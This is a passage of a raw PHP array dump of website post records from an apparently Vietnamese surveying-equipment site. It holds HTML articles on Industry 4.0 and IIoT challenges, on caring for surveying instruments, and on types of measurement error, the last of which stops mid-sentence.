font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Điều quan trọng là thông tin nhận được phải rõ rang, ngắn gọn và dễ hiểu. Hệ thống tạo ra một "bản sao" của thế giới thật, bản sao này định hình bằng các dữ liệu thu thập từ cảm biến, máy móc</span></span></p> <ol start="3" style="box-sizing: border-box; margin: 0px 0px 30px 25px; list-style-position: initial; list-style-image: initial; padding: 0px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <li style="box-sizing: border-box;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; font-weight: 700;">Hỗ trợ kỹ thuật</span></span></span></li> </ol> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Hệ thông này sẽ giúp con người theo 2 cách. Thứ nhất, nó sẽ hỗ trợ chúng ta ra quyết định và giải quyết vấn đề bằng cách cung cấp thông tin cho tiết dựa vào dữ liệu. Thứ hai, nó sẽ hỗ trợ chúng ta làm những việc quá phức tạp hoặc không an toàn</span></span></p> <ol start="4" style="box-sizing: border-box; margin: 0px 0px 30px 25px; list-style-position: initial; list-style-image: initial; padding: 0px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <li style="box-sizing: border-box;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; font-weight: 700;">Đưa quyết định theo mô hình phân tán</span></span></span></li> </ol> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Các hệ thống không gian mạng thực-ảo phải có khả năng đưa ra quyết định đơn giản mọt cách nhanh chóng, tự động, không cần con người can thiệp sử dụng phân tích dữ liệu. Mục tiêu cuối cùng của công nghiệp 4.0 là tự động hóa quy trình sản xuất và tối đa hóa quy mô. Sử dụng quy trình tự động hóa này, công việc có thể được thực hiện bằng máy móc, tăng phạm vi tối ưu hóa thời gian và phân bổ nguồn lực.</span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> </p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; font-weight: 700;">Thử thách liên quan đến việc triển khai công nghiệp 4.0?</span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <img alt="" src="/admin/webroot/upload/image/images/CM 4_0 2(1).jpg" style="width: 276px; height: 182px;" /></p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-family: tahoma, geneva, sans-serif; font-size: 14px;">Triển khai công nghiệp 4.0 cũng có thể sẽ gặp phải các khó khăn sau:</span></p> <ol style="box-sizing: border-box; margin: 0px 0px 30px 25px; list-style-position: initial; list-style-image: initial; padding: 0px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <li style="box-sizing: border-box;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; font-weight: 700;">Vấn đề bảo mật</span></span></span></li> </ol> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Toàn bộ dữ liệu đều có sẵn , truyền qua Internet đến thiết bị từ xa. Điều này cho thấy dữ liệu rất có nguy cơ bị xâm phạm bảo mật, ăn cắp và thao tác.</span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Kiến thức sản xuất độc quyền, nếu bị xâm nhập, sẽ có thể dẫn đến thiệt hại lớn đến doanh thu của công ty.</span></span></p> <ol start="2" style="box-sizing: border-box; margin: 0px 0px 30px 25px; list-style-position: initial; list-style-image: initial; padding: 0px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <li style="box-sizing: border-box;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; font-weight: 700;">Tin tưởng và ổn định</span></span></span></li> </ol> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Nếu thông tin liên lạc nhận được qua cảm biến IoT không được sắp xếp hoặc không đúng lúc sẽ được xem là không đáng tin cậy. Rõ rang, bạn không thể tự động hóa một nhà máy hoạt động dựa trên dữ liệu không đáng tin cậy. Việc duy trì sự toàn vẹn quy trình sản xuất trong khi giảm thiểu sự can thiệp của con người rất phức tạp</span></span></p> <ol start="3" style="box-sizing: border-box; margin: 0px 0px 30px 25px; list-style-position: initial; list-style-image: initial; padding: 0px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <li style="box-sizing: border-box;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; font-weight: 700;">Thiết lập kết nối</span></span></span></li> </ol> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Chúng ta gần như không thể đảm bảo kết nối internet 100%. Kể cả khi mạng không có khả năng bị hỏng bất ngờ, bạn vẫn sẽ cần tính đến việc bảo trì máy chủ. Rất khó để đảm bảo không mất dữ liệu ngay cả khi kết nối cực hạn hoặc bùng phát đột ngột.</span></span></p> <ol start="4" style="box-sizing: border-box; margin: 0px 0px 30px 25px; list-style-position: initial; list-style-image: initial; padding: 0px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <li style="box-sizing: border-box;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; font-weight: 700;">Phối hợp hệ thống cũ với IIoT</span></span></span></li> </ol> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Các hệ thống cũ không được thiết kế để tuân thủ các yêu cầu của công nghệ cảm biến. Nhưng hiện đại hóa toàn bộ cơ sở hạ tầng là không khả khi đối với phần lớn các nhà sản xuất. Vì vậy, đòi hỏi phải phối hợp IIoT với hệ thống máy móc cũ để đảm bảo ROI tốt nhất với sự đầu tư của nhà sản xuất.</span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Ngoài nhứng thách thức trên, nhà sản xuất cũng phải đối mặt với các vấn đề từ nhà đầu tư, đội ngũ kỹ thuật nội bộ. Các nhà đầu tư khá miễn cưỡng với các cuộc cách mạng quy mô lớn. Đồng thời, năng lực IT có sẵn không thường xuyên được cập nhật để xử lý những thách thức này. Dữ liệu nghiên cứu thị trường và xu hướng chuyển đổi kỹ thuật số đã mở ra cái nhìn mới cho nhà đầu tư. Hạn chế về năng lực kỹ thuật vẫn sẽ là mối quan tâm chung khi triển khai bất kỳ IIoT.</span></span></p> ', 'images' => '201905200812307bda1a1c4b780f467d4ece9a47eb5c1b.jpg', 'images_multi' => '', 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2019-05-20', 'modified' => '2025-08-10', 'status' => '1', 'view' => '62998', 'slug' => 'lam-the-nao-de-cac-nha-san-xuat-co-the-san-sang-cho-cach-mang-cong-nghiep-4-0-va-iiot', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '941', 'rght' => '942', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 2 => array( 'Post' => array( 'id' => '537', 'name' => 'Cách bảo quản thiết bị trắc địa đúng cách', 'code' => null, 'alias' => 'cach-bao-quan-thiet-bi-trac-dia-dung-cach', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '<span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;">Bảo quản thiết bị trắc địa đúng cách rất quan trọng đối với các kĩ sư đo đạc. Nhất là khi giá trị của các thiết bị như máy toàn đạc điện tử, máy thủy bình,… không hề nhỏ. Bảo quản thiết bị trắc địa tốt sẽ giúp tiết kiệm nhân công, thời gian, chi phí cho các công trình xây dựng. </span></span>', 'content' => '<span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><strong>Thiết bị trắc địa</strong> cần được bảo quản cẩn thận để phát huy tối đa tính năng sử dụng của nó cũng như giảm chi phí đầu tư. Trước khi sử dụng thiết bị, hãy dành một ít thời gian để đọc và làm theo hướng dẫn bảo trì sau:<br /> - Không để thiết bị dưới ánh mặt trời trực tiếp hoặc trong xe kín trong thời gian dài. Nhiệt độ quá nóng có thể làm giảm hiệu quả của nó.<br /> - Nếu thiết bị đã được sử dụng trong điều kiện ẩm ướt, ngay lập tức lau sạch bất kỳ độ ẩm và làm khô thiết bị hoàn toàn trước khi cho lại thiết bị vào hộp đựng.<br /> - Thiết bị điện tử nhạy cảm đã được bảo vệ tốt trong hộp đựng chống lại bụi và độ ẩm.<br /> Tuy nhiên, nếu bụi hoặc hơi ẩm bám vào dụng cụ, có thể gây ra hư hại nghiêm trọng. Vì vậy, hãy chắc chắn thiết bị của bạn được bỏ vào hộp ngay sau khi sử dụng và vệ sinh.<br /> - Những thay đổi đột ngột về nhiệt độ có thể làm mờ ống kính và giảm đáng kể mức đo được khoảng cách hoặc gây ra lỗi hệ thống điện. Nếu có sự thay đổi đột ngột về nhiệt độ, để dụng cụ trong hộp đựng kín ở vị trí ấm cho đến khi nhiệt độ của thiết bị trở về nhiệt độ phòng.<br /> - Không bảo quản thiết bị trắc địa ở những nơi nóng hoặc ẩm ướt. Đặc biệt, bạn phải lưu trữ bộ pin ở nơi khô ráo ở nhiệt độ dưới 30 ° C (86 ° F). Nhiệt độ cao hoặc độ ẩm quá mức có thể khiến nấm mốc phát triển trên các ống kính. Nó cũng có thể làm cho thị kính điện tử bị mờ đi và do đó dẫn đến việc khó bắt mục tiêu.<br /> <br /> <img alt="" src="/admin/webroot/upload/image/images/DTM 322(1).jpg" style="width: 400px; height: 391px;" /><br /> - Khi bảo quản thiết bị ở những nơi có nhiệt độ cực thấp, hãy để hộp đựng mở.<br /> - Khi điều chỉnh các ốc cân bằng máy, hãy đặt vị trí càng gần vị trí trung tâm của ốc cân bằng máy.<br /> - Không sử dụng dung môi hữu cơ (chẳng hạn như ether hoặc chất pha loãng sơn) để làm sạch các bộ phận phi kim loại của thiết bị (chẳng hạn như bàn phím hoặc các bề mặt được sơn của máy). Làm như vậy có thể dẫn đến đổi màu bề mặt, hoặc lột các ký tự logo. Làm sạch những bộ phận này chỉ bằng một bông gòn, vải hoặc khăn giấy, thấm nhẹ bằng nước hoặc chất tẩy nhẹ.<br /> - Để vệ sinh ống kính quang học, hãy lau nhẹ bằng một miếng vải mềm hoặc bông gòn được thấm cồn.<br /> - Trước khi gắn pin, hãy chắc chắn rằng bề mặt tiếp xúc trên bề mặt pin và dụng cụ đã được lau chùi sạch sẽ.<br /> <br /> <img alt="" src="/admin/webroot/upload/image/images/HOP MAY_02 B40A(2).jpg" /><br /> - Hộp đựng được thiết kế kín nước, nhưng bạn không nên để nó tiếp xúc với mưa lớn.<br /> <br /> Bảo quản thiết bị trắc địa là một trong những khâu quan trọng giúp việc đo đạc được chính xác. Nó giúp hỗ trợ giảm chi phí đầu tư cũng như chi phí sửa chữa máy. Hy vọng những thông tin trên sẽ hữu ích cho bạn.<br /> </span></span>', 'images' => '201905030810258d806bbec8ab9ba5235e121c05e3154a.jpg', 'images_multi' => '', 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2019-05-03', 'modified' => '2025-08-10', 'status' => '1', 'view' => '74548', 'slug' => 'cach-bao-quan-thiet-bi-trac-dia-dung-cach', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '939', 'rght' => '940', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 3 => array( 'Post' => array( 'id' => '536', 'name' => 'Các loại sai số, tiêu chí đánh giá độ chính xác kết quả đo', 'code' => null, 'alias' => 'cac-loai-sai-so-tieu-chi-danh-gia-do-chinh-xac-ket-qua-do', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '', 'content' => '<div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; margin: 0px; padding: 0px; font-weight: 700;"><em style="box-sizing: border-box; margin: 0px; padding: 0px;">1. Các loại sai số trong đo đạc.</em></span></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><em style="box-sizing: border-box; margin: 0px; padding: 0px;">a) Sai số sai lầm.</em></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Sai số sai lầm là do người đo thiếu cẩn thận trong khi đo, hoặc kỹ thuật đo không bảo đảm. Sai số này thường có giá trị tương đối lớn.</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">- Khắc phục: đổi người đo</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><em style="box-sizing: border-box; margin: 0px; padding: 0px;">b) Sai số hệ thống:</em></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Là những sai số do độ chính xác của máy và không bảo đảm hoặc do thói quen, thị lực của người đo.</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Sai số hệ thống thường có dấu và giá trị không đổi.</span></span></div> <p style="box-sizing: border-box; margin: 0px 0px 10px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> </p> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Loại trừ sai số hệ thống:</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">- Nếu do máy thì chúng ta có thể kiểm nghiệm, xác định giá trị sai số của máy rồi lấy kết quả đo trừ đi giá trị sai số đó.</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">- nếu do người đo thì chúng ta có thể kiểm nghiện sai số của người bằng cách so sánh kết quả của người đo với một vài người đo khác để biết được mức độ sai khác nhau về kết quả, sau đó lấy kết quả đo trừ đi giá trị sai khác đó.</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><em style="box-sizing: border-box; margin: 0px; padding: 0px;">c) Sai số ngẫu nhiên.</em></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Là những sai số xuất hiện trong kết quả đo một cách ngẫu nhiên mà không thể xác định được quy luật cũng như giá trị và nguyên nhân của sai số đó.</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Sai số ngẫu nhiên không thể loại trừ được, tuy nhiên qua nghiên cứu cho thấy sai số ngẫu nhiên có những tính chất sau đây:</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"> - Các giá trị tuyệt đối của sai số ngẫu nhiên không vượt quá một giá trị nhất định nào đó.</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">- Các giá trị sai số ngẫu nhiên càng nhỏ thì có khả năng xuất hiện càng nhiều, còn giá trị càng lớn thì xuất hiện càng ít.</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">- Sai số ngẫu nhiên mang giá trị dương (+) và sai số ngẫu nhiên mang giá trị âm (-) có xác suất xuất hiện bằng nhau khi số lần đo tiến tới vô cùng.</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">- Tổng đại số của các giá trị sai số ngẫu nhiên của n lần đo cho một đại lượng là bằng không khi:<a href="https://4.bp.blogspot.com/-xRibgiac6uE/Ur6R6Z6lB6I/AAAAAAAADeo/LSe-3TIrzM4/s1600/gisgpsrs-trac-dia-co-so.PNG" imageanchor="1" style="box-sizing: border-box; margin: 0px; padding: 0px; background-color: transparent; color: rgb(51, 51, 51); text-decoration-line: none;"><img border="0" src="https://4.bp.blogspot.com/-xRibgiac6uE/Ur6R6Z6lB6I/AAAAAAAADeo/LSe-3TIrzM4/s1600/gisgpsrs-trac-dia-co-so.PNG" style="box-sizing: border-box; margin: 0px; padding: 0px; border: none; vertical-align: middle; max-width: 100%;" /></a></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; margin: 0px; padding: 0px; font-weight: 700;"><em style="box-sizing: border-box; margin: 0px; padding: 0px;">2. Các tiêu chí đánh giá độ chính xác kết quả đo.</em></span></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><em style="box-sizing: border-box; margin: 0px; padding: 0px;">a) Sai số trung bình cộng (kí hiệu là s): được tính theo công thức sau:</em></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px; clear: both;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><a href="https://4.bp.blogspot.com/-R8MMROfkfWU/Ur6SpdB55TI/AAAAAAAADew/MkE9uEdOJ3Y/s1600/gisgpsrs-trac-dia-co-so-sai-so.PNG" imageanchor="1" style="box-sizing: border-box; margin: 0px; padding: 0px; background-color: transparent; color: rgb(51, 51, 51); text-decoration-line: none;"><img border="0" src="https://4.bp.blogspot.com/-R8MMROfkfWU/Ur6SpdB55TI/AAAAAAAADew/MkE9uEdOJ3Y/s1600/gisgpsrs-trac-dia-co-so-sai-so.PNG" style="box-sizing: border-box; margin: 0px; padding: 0px; border: none; vertical-align: middle; max-width: 100%;" /></a></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Trong đó: s- sai số trung bình cộng</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> </div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px; clear: both;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"> <a href="https://2.bp.blogspot.com/-XitZG4vs5lY/Ur6TBEfaApI/AAAAAAAADe4/0ebiserIDsY/s1600/gisgpsrs-sai-so-do.PNG" imageanchor="1" style="box-sizing: border-box; margin: 0px; padding: 0px; background-color: transparent; color: rgb(51, 51, 51); text-decoration-line: none;"><img border="0" src="https://2.bp.blogspot.com/-XitZG4vs5lY/Ur6TBEfaApI/AAAAAAAADe4/0ebiserIDsY/s1600/gisgpsrs-sai-so-do.PNG" style="box-sizing: border-box; margin: 0px; padding: 0px; border: none; vertical-align: middle; max-width: 100%;" /></a>- sai số ngấu nhiên của lần đo thứ i</span></span></div> <p style="box-sizing: border-box; margin: 0px 0px 10px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> </p> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"> n – số lần đo</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><em style="box-sizing: border-box; margin: 0px; padding: 0px;">b) Sai số trung phương (kí hiệu là m): được tính theo công thức:</em></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px; clear: both;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><a href="https://3.bp.blogspot.com/-q6MGq8qVYW8/Ur6Tijo7boI/AAAAAAAADfA/34rOoWyxlOg/s1600/gisgpsrs-sai-so-trung-phuong.PNG" imageanchor="1" style="box-sizing: border-box; margin: 0px; padding: 0px; background-color: transparent; color: rgb(51, 51, 51); text-decoration-line: none;"><img border="0" src="https://3.bp.blogspot.com/-q6MGq8qVYW8/Ur6Tijo7boI/AAAAAAAADfA/34rOoWyxlOg/s1600/gisgpsrs-sai-so-trung-phuong.PNG" style="box-sizing: border-box; margin: 0px; padding: 0px; border: none; vertical-align: middle; max-width: 100%;" /></a></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Trong đó: m – sai số trung phương</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> </div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px; clear: both;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"> <a href="https://3.bp.blogspot.com/-XitZG4vs5lY/Ur6TBEfaApI/AAAAAAAADe8/RFQOzCDHS1Y/s1600/gisgpsrs-sai-so-do.PNG" imageanchor="1" style="box-sizing: border-box; margin: 0px; padding: 0px; background-color: transparent; color: rgb(51, 51, 51); text-decoration-line: none;"><img border="0" src="https://3.bp.blogspot.com/-XitZG4vs5lY/Ur6TBEfaApI/AAAAAAAADe8/RFQOzCDHS1Y/s1600/gisgpsrs-sai-so-do.PNG" style="box-sizing: border-box; margin: 0px; padding: 0px; border: none; vertical-align: middle; max-width: 100%;" /></a>- sai số ngấu nhiên của lần đo thứ i</span></span></div> <p style="box-sizing: border-box; margin: 0px 0px 10px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> </p> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"> n – số lần đo</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><em style="box-sizing: border-box; margin: 0px; padding: 0px;">c) Sai số xác suất (kí hiệu là p)</em></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Trong dãy kết quả đo nếu sắp xếp các sai số theo giá trị tuyệt đối từ bé 